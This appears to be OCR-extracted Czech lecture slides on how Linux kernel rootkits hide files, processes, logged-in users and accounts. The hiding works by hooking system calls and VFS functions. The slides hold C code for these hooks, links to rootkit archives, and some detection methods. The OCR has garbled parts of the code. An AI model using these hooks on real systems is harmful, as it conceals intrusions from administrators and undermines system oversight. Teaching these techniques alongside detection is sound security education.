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I Cil prednasky

= predstavit nekteré techniky, které atocnikovi pomahaji
stat se co nejmene napadnym
= objasnit jejich princip

= zamyslet se nad moznostmi odhaleni utocnika a
moznostmi prevence



Jak se stat neviditeinym?

Aby vetrelec mohl pohodiné “zit” ve vasem systému,
nesmi si jej nikdo vsSimnout. Proto je treba zajistit aby
e ani spravce nezjitil, ze je vetrelec prihlasen,

* nebyly videt procesy, které pouziva,

e nebyly vidét soubory, které do systému nahral,

e vetrelec mél pohodlny navrat zpet do systému, a moznost kdykoli
ziskat nejvyssi opravneni

e a pod..



Skryti souboru

= hooknuti syscallu getdents64
= hooknuti VFS funkce readdir



I Princip hookovani systemovych

volani

sys_call_table

Predpoklady: sys_read
= Mame v kernelspace upravenou funkci read Y ———a new read
write B
» Zname adresu sys_call_table t\‘ :
open o Sys_write
\sys_open

Postup:

= UloZime adresu puvodniho syscallu

= Na prispusné misto v sys_call_table zapiSeme adresu nasi zménéneé funkce

Poznamky:
= Pri ruseni “hooku” musime dat vse do poradku!



I Hookovani systemovych volani

I Pouzivaneé prostredky:
= LKM (loadable kernel module)

= pfimy zapis do /dev/kmem

Pouzivané techniky:
= Zmena zaznamu v sys_call_table

= zmena adresy sys_call_table v handleru preruseni 0x80

= zmena kodu systemového volani (skok do nasi funkce)



vyhody x nevyhody

(z pohledu utocnika)

Vyhody:
= Zmeéna volani ma vliv na vsechny programy v userspace

= Moznost dokonaleho skryti v systemu

Nevyhody:
» Kazda drobna chyba v kddu muze zpusobit pad celého
systému

= Existuji nastroje pro odhaleni (kstat, rdetect, ...)



I Implementace: parametry
I systemoveho volani getdents64

getdent s64(unsigned int fd, struct linux _dirent64 *dirent,

I unsi gned i nt count)
%ls /
bin/ etc/ Ilib/ root/ tnp/ boot/ hones/ proc/ sbin/ wusr/ dev/ var/
bin etc L dev var
T d_ino
dirent d_off
count = ].2 d_reclen
dirent->d_name.name = “/bin d_type
d_name




I zpusob odstranéni skrytého s
I zaznamu dat 1/2

I Odstraneni prvniho zaznamu:

Size o

-

Size h
- -

- bin N mp var

- s

Size 1 =Size 0 — Size h

bin N mp var var




zpusob odstranéni skrytého
zaznamu z dat 2/2

Odstraneni zaznamu unvitr dat:

4>
prev.d_reclen

prev.d_reclen += hidden.d_reclen
memset(&hidden, 0, hidden.d_reclen)

- .
prev.d_reclen



I Hooknuti getdents64

I Kostra upravenéeho systémoveho volani:

= zavolat puvodni systémové volani, ulozit navratovou hodnotu
= projit pole s prectenymi directory entries a pro kazdou z nich:
- Zjistit, zda odpovida souboru, ktery chceme skryt; pokud ano:
vhodnym zpuisobem odstranit skrytou struktru z bloku dat
- pripadneé snizit navratovou hodnotu o velikost smazane
struktury

= vratit upravenou navratovou hodnotu



Zdrojovy kod new_getdents64

| ong new getdents64(unsigned int fd, struct linux _dirent64 *dirent, unsigned int count) {
struct linux_dirent64 *dirp, *prev = NULL;
struct inode *di node = NULL;
char *ptr;
long res = (*o_getdents64)(fd, dirent, count);

if (res <= 0) return res;
ptr = (char *)dirent;

while (ptr < (char *)dirent + res) {
dirp = (struct linux_dirent64 *) ptr;
i f (is_hidden(dirp->d _nane. nane)) {
mencpy(ptr, ptr + dirp->d reclen, (unsigned int)dirent+res - (unsigned int)dirp);
res -= dirp->d_reclen;
} else
ptr += dirp->d_reclen;
}

return res;



Pouziti hookovani getdents64
pro skryvani souboru

Popisovana technika se vyuziva napr. v techto

rootkitech:

= Adore

= Knark

= KIS

= SucKit 1.3



I Kontrola integrity

Pro kontrolu, zda systémova volani jsou v poradku, muzeme pouzit

I podobny princip, jako napt. Tripwire pouziva pro kontrolu soubort.

= Zjistime adresu pouzivané sys_call_table
= jeji obsah porovhame s drive ulozenou zalohou
= v pripadé nesrovnalosti mame moznost dat

sys_call_table do puvodniho stavu



I adresa pouzivane sys_call_table
I 1/4
Co se deje pri systemovem volani?

I 1) Program ulozi do registru EAX jeho cislo, do dalSich registru

parametry a vyzada preruseni 80h.

2) Adresa obsluzné funkce je ulozena v IDT (interrupt descriptor

table) na pozici dané cCislem preruseni.

3) V této funkci program skoci na adresu, ktera je zapsana na EAX-té

pozici v sys_call_table - tedy na funkci pozadovaneho syscallu.



I adresa pouzivane sys_call_table
2/4

Pro nalezeni adresy sys_call_table tedy musime

I 1) zjistit adresu IDT
je ulozena v IDTR (IDT register), ktery ziskame instrukci SIDT

s struct {
= g unsi gned short |imt;
limit unsi gned | ong base;
} __attribute ((packed)) idtr;
base
IDT register

asm ("sidt 9%®" : "=ni (idtr));




I adresa pouzivane sys_call_table
3/4

Pro nalezeni adresy sys_call_table tedy musime

I 2) zjistit adresu handleru preruseni 80h . o5
2B
- 7] idtr.base — &
offset low 1
2
seg. selector
none  flags
offset high =
interrupt descriptor
254

address = (offset_high << 16) | offset_low ;55

IDT



I adresa pouzivane sys_call_table
4/4

Pro nalezeni adresy sys_call_table tedy musime

I 3) najit adresu sys_call_table v kodu obsluhy int 80h

| | |
FF 14 85 @ adresa sys_call_table

Najdeme tedy v kédu posloupnost znaku Oxff, 0x14, 0x85, nasleduijici

4B v pameti bude adresa sys_call_table

ptr = (char*)memem (handl er, 100, "\xff\x14\x85", 3);

sys call table = *(unsigned*)(ptr + 3);




Priklad kontrola integrity
sys_call_table

= Zjistime adresu IDT

= v dev kmem najdeme deskriptor na 128 (80h) pozici v IDT

= 7 n§j zjistime adresu handleru a najdeme sys_call_table

= 7 /dev/kmem cteme od adresy sys_call_table adresy jednotlivych

volani a kontrolujeme, zda souhlasi s ulozenou zalohou



Hookovani funkci VFS



Virtual file system (VFS)

= je to vrstva abstrakce zajiStujici praci se soubory
= rozhrani, které pouziva jadro — VFS se stara o provedeni

spravne funkce pro dany souborovy systém

_ g : . . file_operations
fd = open(“/tnp/file.txt”, O RDONLY);
read(fd, buffew//v \I;Sr?tg | +I‘e&i_eXt2
Sys_read read ufs
file.txt ext? T
fd = open(*/mt/dos/file. txt”, O RDONLY): file_operatio/rli//////v read fat

. wread -

read(fd, buffer, sizeof(buffer)); -
/ write
Sys_read

file.txt fat




Princip hookovani VFS 1/3

1) co hookovat ?

= kazdy soubor ma definovanou mnozinu operaci pro praci s nim
= funkce jsou zavislé na souborovém systému

= struktura file_operations (linux/fs.h)

struct file_operations {
struct module *owner;
loff_t (*llseek) (struct file *, loff_t, int);
ssize_t (*read) (struct file *, char *, size_t, loff_t *);
ssize_t (*write) (struct file *, const char *, size_t, loff_t *);
int (*readdir) (struct file *, void *, filldir_t);
atd ...




Princip hookovani VFS 2/3

1) jak hookovat ?

» ziskat a ulozit puvodni adresu funkce

= ukazatel na puvodni funkci nahradit ukazatelem na fci nasi
struct file *file;

f = filp_open("/var/log/wtmp", O_RDWR, 0600);
if ( IS_LERR()) {
if (f && f->f_op) {

old_read =f > f_op -> read;

f->f_op -> read = new_read,;

}
filp_close(f, NULL);

}
= na konci dat vse do poradku
f->f_op -> read = old_read;




vyhody x hevyhody

(z pohledu utocnika)

Vyhody:

= Hloubégji v jadre nez systémova volani (userland je tedy také ovlivnén cely)

= Casto jednodussi hooknuté funkce neZ v pfipadé hookovani syscalld

= Neni potreba se starat o to, zda parametry ukazuji na pamét' v userspace
nebo kernelspace

= Zatim se néjak viditelné nepouziva vétsina administratort o ném ani nevi

Nevyhody:

= Zavislost na filesystému

= Drobna chyba muze zpusobit pad systému



I Skryti souboru hooknutim VFS

I Problém
* Hook je pro jeden konkrétni filesystém (Casto vsak nevadi)

Reseni
e Zménit adresu pro kazdy souborovy systém zvlast

* Presmerovat tok rizeni jesté pred zvolenim konkrétni funkce



I Skryvani souboru: hooknuti
I funkce vfs_readdir 1/5

I = Systéemove volani getdents64 pouziva funkci vfs_readdir, ktera

vola prislusnou funkci VFS.

int vfs_readdir(struct file *file, filldir_t filler, void *buf) {

res = file->f_op->readdir(file, buf, filler);

= Funkce filler dostava prectena data, soubor po souboru a

nastavuje informace o neém do prislusné struktury



Skryvani souboru: hooknuti
funkce vfs_readdir 2/5

Pro skryti souboru tedy potrebujeme
= prinutit getdents64, aby volal nasi funkci misto vfs_readdir

= zmenit vis_readdir tak, aby pouzival nasi funkci filldir,

= zmenit funkgci filldir, tak aby ignorovala pozadované soubory.

getdents64

N\

vfs_readdir

f_ops->readdir

filldir

new_vfsrd

new_filldir \

filldir

new_filldir




I Skryti souboru: hooknuti funkce
I vfs_readdir 3/5

I Jak prinutit getdents64, aby volalo nasi funkci misto vfs_readdir ?
= Najit adresu getdents64 (~ sys_call_table[220]).
= Najit presnou adresu volani vfs_readdir (instrukce call - Oxe8),
- druha instrukce call (prvni je volani fput) od pocatku getdents64,
- délka instrukce (operacniho koédu) je 1B, dalsi 4B jsou parametr (neni
shodny s volanou adresou!).
= UlozZit si puivodni parametr instrukce call
= Zmenit parametr instrukce call, tak aby call volala nasi funkci

(adresa funkce = adresa nasleduijici instrukce + parametr instrukce call)



I Skryti souboru: hooknuti funkce
I vis_readdir 4/5

I Zmeéna funkce vfs_readdir tak, aby pouzivala nasi funkci new_{filldir:

int new_vfsrd(struct file *file, filldir_t filldir, void *buf)

{
real_filldir = filldir;

return old_vfs_readdir (file, new_filldir, buf);

real_filldir je proménna typu filldir_t - sem si uloZzime puvodni filldir
old_vfs_readdir je puvodni funkce vfs_readdir



I Skryti souboru: hooknuti funkce
I vfs_readdir 5/5

I Zmeéna funkce filldir tak, aby ignorovala pozadované soubory:

static int filldir(void * __buf, const char * name, int namlen, loff_t offset,
ino_t ino, unsigned int d_type)
{
if (is_hidden(name))
/* pokud funkce vrati 0, znamena to, ze vse probéhlo v poradku,
* jenze v tomto pripadé se neprovedlo vibec nic */
return O;
else

return real_filldir(__buf, name, namelen, offset, ino, d_type);




Skryvani procesu

= hooknuti syscallu getdents64
= hooknuti VFS funkce readdir



Skryti procesu s vyuzitim
hookovani VFS

Skryt proces znamena skryt soubor v /proc

:

soubory budou ulozeny vzdy v 1 konkrétnim filesystému

:

je mozné vyuZzit puvodni princip — neni treba hookovat vfs_readdir,

jako u skryvani soubort

Navic mame k dispozici proc_root (struktura proc_dir_entry,

linux/proc_fs.h).



Uprava new_getdents64 pro
skryvani procesu

I nt proc;

ptr = (char *)dentry;

dinode = current->files->fd[fd]->f dentry->d i node;
i f (dinode !=NULL && di node->i ino == PROC ROOT | NO
proc = 1;

while (ptr < ...
dirp = (struct linux_dirent64 *) ptr;

i f (is_hidden(dirp->d_nane.nane, proc)) {

PROC ROOT INO je ?islo inodu adresa?e /proc



Skryti procesu s vyuzitim
hookovani VFS 1/3

* Ulozime si puvodni readdir

old_readdir = proc_root.proc_fops->readdir;

* Nahradime ho nasi funkci

proc_root.proc_fops -> readdir = new_readdir;

= Nakonci dame vse do poradku

proc_root.proc_fops -> readdir = old_readdir;

struct proc_dir_entry {
unsigned short low_ino;
unsigned short namelen;
const char *name;
mode_t mode;
nlink_t nlink;
uid_t uid;
gid_t gid;
unsigned long size;
struct inode_operations * proc_iops;
struct file_operations * proc_fops;
get_info_t *get_info;
struct module *owner;

struct proc_dir_entry *next, *parent, *subdir;




I Skryti procesu s vyuzitim
I hookovani VFS 2/3

I Dalsi postup je analogicky ke skryvani souboru:

int new_readdir (struct file *a, void *b, filldir_t c)

{

real_filldir = c;

return old_readdir (a, b, new_{filldir);




I Skryti procesu s vyuzitim
I hookovani VFS 3/3

Priklad funkce new_filldir (skryji se vSechny procesy uzivatele

I s UID = HIDDEN_UID):

static int filldir(void * __buf, const char * name, int namlen, loff_t offset,
ino_t ino, unsigned int d_type)
{
struct task_struct *task;
for_each_task(task)
if (task->pid == atoi(name) && task->uid == HIDDEN_UID )
return 0;

return real_filldir(__buf, name, namelen, offset, ino, d_type);




I Skryvani souboru a procesu:
priklady implementace

I Hookovani getdents64:

http://hysteria.sk/~trace/hider_syscalls.tar.bz2
http://packetstormsecurity.org/UNIX/penetration/rootkits/knark-2.4.3.tgz

http://packetstormsecurity.org/UNIX/penetration/rootkits/kis-0.9.tar.gz

Hookovani vfs_readdir:

http://hysteria.sk/~trace/hider_vfs.tar.bz2
http://packetstorm.trustica.cz/groups/teso/adore-ng-0.31.tgz



Moznosti odhaleni skrytych
procesu

Obecna metoda pro nalezeni skrytych procesu:
* neni zavisla na zpusobu skryvani
e vyhledava procesy v /dev/kmem (nevyzaduje podporu LKM)
* je zaloZena na vyhledani vzorku dat v /dev/kmem, které
odpovidaji strukture task_struct (viz linux/sched.h)

e problémy s liSici se strukturou task_struct na ruznych jadrech

Pri pouziti LKM mame situaci velmi usnadnénou a ve vétsiné pfipadu

je tento pristup dostacujici (viz. pozdeji)



rozpoznani struktury task_struct

struct task struct {

vol atile long state; /* -1 unrunnabl e, O runnable, >0 stopped */
unsi gned | ong fl ags; /| * per process flags, defined bel ow */

I nt si gpendi ng;

mm segnent _t addr limt; /* pro kernel 0xc0000000 */

struct exec_donmain *exec_donain; /* ukazuje do kernel space */

vol atil e | ong need resched;

unsi gned | ong ptrace;

- task_struct zacina vzdy pocatkem pamétove stranky (4096 B)

- ukazatele na rtizné struktury ukazuji do kernelspace (>= 0xc000000 nebo NULL)
- stav procesu (> -1)

- PID > 0, UID >=0, GID >= 0, apod ...



I algoritmus vyhledavani procesu

- posun na pocatecni adresu (napr. 0xc0000000)
I - dokud nejsme na koncové adrese:

- zvySime aktualni adresu o stranku (4096 B)

- precteme cislo z aktualni pozice, je-li mensi nez -1, ostatni
preskoCime a pokraCujeme dalsi iteraci

- postupné nacitame dalSi proménné, u nichz zname rozsah, ve
kterém se jejich hodnota pohybuje (nebo primo hodnotu, apod..),
jako napr. ukazatele, PID, UID, apod. V pripade, ze hodnota lezi
mimo, pokraCujeme dalsi iteraci

- pokud jiz nemame co overovat, oznamime, ze jsme nasli proces.

Nalezené procesy porovname s vypisem programu ps.



pouziti LKM

Vsechny procesy muzeme projit makrem for_each_process (linux/sched.h):

#i ncl ude <l i nux/sched. h>

struct task struct task;
for _each process(& ask) {

printk(“<7>Process '%', pid=%\n", task.comm task.pid);

* Mlizeme vyuzit predchazejici postup, task_struct mame dostupnou,
pamét také.

* \V\yhodou je, ze nemame problémy s task_struct.



Skryvani zaznamu v souborech

K ¢emu muze slouzit?
= zneviditelneni prihlaseného uzivatele
= skryti informaci o uzivatelich
= skryti aktivnich sitovych spojeni

= apod.



Skryvani zaznamu v souborech:
techniky

Hooknuti systémového volani read:

ssize_t read(int fd, void *buf, size_t count);
fd — deskriptor cteného souboru

buf — ukazatel na pamét, ve které jsou ulozena prectend data (userspace)
count - pocet prectenych bajtu
Nazev cteného souboru: f = fget(fd); f->f_dentry->d_name.name

Hooknuti VFS funkce read:

ssize_t read (struct file *f, char __user *buf, size_t count, loff_t *offset);
f — struktura file popisujici cteny soubor

buf — ukazatel na pamét, ve které jsou ulozena prectenda data (kernelspace)
count — pocet prectenych bajtu
offset — pozice v souboru

Nazev cteného souboru: ->f_dentry->d_name.name



Skryvani zaznamu v souborech:
kostra hooknute funkce

Kostra upraveného systémoveho volani read:

ssize_t new_read(unsigned int fd, char *buf, size_t size)

{
ssize_t res = old_read(fd, buf, size); /¥ zavolame puvodni read a ulozime navratovou hodnotu */
char buffer[4096] = {0};
struct file *f = fget(fd);

/* precCtena data ulozime do kernelspace bufferu */

copy_from_user(buffer, buf, sizeof(buffer));

if (f && f->f_dentry) {
/¥ manipulace s daty — zmény provadime v buffer-u */
copy_to_user(buf, buffer, sizeof(buffer)); /* upravena data ulozime zase zpét do userspace */

}

return res,




I Skryvani zaznamu v souborech:
I kostra hooknute funkce

Kostra upravene VFS funkce read:

I ssize_t new_read(struct file *f, char *buffer, size_t count, loff_t *ppos)
{
/¥ zavolame puvodni funkci a ulozime si navratovou hodnotu */
ssize_t res = old_read(f, buffer, count, ppos);

/¥ manipulace s daty - zmény provadime v buffer-u */
return res;

= buffer ukazuje do kernelspace - nemusime kopirovat

= jednodussi nez u systémového volani



Zneviditelneni prihlaseného
uzivatele

Odstranéni zaznamu ze souboru /var/run/utmp.
= Zjistime, zda se Cte ze souboru utmp

= programy who nebo w ctou data po blocich o velikosti struktury utmp
= Zjistime uzivatele, ktereho tento zaznam je
=V pripade, ze to je skryty uzivatel, vratime 0 (znamena to ze

bylo preceteno 0 bajtu) a precteny buffer vynulujeme

if (Istrcmp(filename, "utmp")) {
struct utmp *utmp_entry = (struct utmp *) buf;
if (utmp_entry && !strcmp(utmp_entry->ut_user, HIDDEN_USERNAME)) {
memset(utmp_entry, 0, sizeof(struct utmp));

return O;




Zneviditelneni prihlaseného
uzivatele: obrana

Vlastni nastroj who, ktery Cte data ze souboru utmp bajt po bajtu. Hooknuta funkce tedy nikdy

nemuze v ¢teném bufferu (o délce 1B) najit uzivatelské jméno, které chce utocnik skryt.

memset(&ecord, 0, sizeof(record)); struct utmp record - jeden zaznam

ptr = (char *)&record; souboru utmp

while ((ch = fgetc(fd)) != EOF) { FILE *fd — deskriptor souboru /var/run/utmp
_ptr[mdex] ot otevieného pro ¢teni
i++;
index = i % sizeof(record); char *ptr — ukazatel na aktualni pozici ve

if ((i % sizeof(record)) == 0) {
if (record.ut_type == USER_PROCESS)

printf("%s\t%s\n", record.ut_user, record.ut_line);

strukture record

memset(&ecord, 0, sizeof(record));




“3)

I “odstraneni’ uzivatele ze
I systemu

Skryjeme zaznam z /etc/passwd a /etc/shadow pro vsechny programy,
I kromé login a sshd.

= zkontrolujeme nazev procesu, ktery funkci vola (current->comm)

= pokud to neni sshd nebo login, pokracujeme dal

= zkontrolujeme nazev souboru, ktery cteme

= pokud to je passwd nebo shadow, pokracujeme dal

= pokud buffer obsahuje login skrytého uzivatele, odstranime radek,

na kterém se login nachazi



I,, N =

“odstraneni’ uzivatele ze
systemu

Skryjeme zaznam z /etc/passwd a /etc/shadow pro vsechny programy,

kromé login a sshd.

if (strcmp(current->comm, "login") && strcmp(current->comm, "sshd") &&
(Istrcmp(filename, "passwd") || !strcmp(filename, "shadow")))
{
if (strstr(buffer, HHDDEN_USERNAME))
res -= remove_line(buffer, HIDDEN_USERNAME);

7 7

Funkce remove_line odstrani dany radek z bufferu. Jeji implementaci najdete v

materialech k této prednasce (dostupné na webu).



Materialy k teto prednasce

Vsechny materialy k této prednasce — prezentace a ukazkové zdrojove

kody ke vsem popisovanym technikam naleznete zde:

http://hysteria.sk/~trace/unix_sec.tar.bz2

DalSi souvisejici materialy muzete najit i na http://trace.dump.cz.



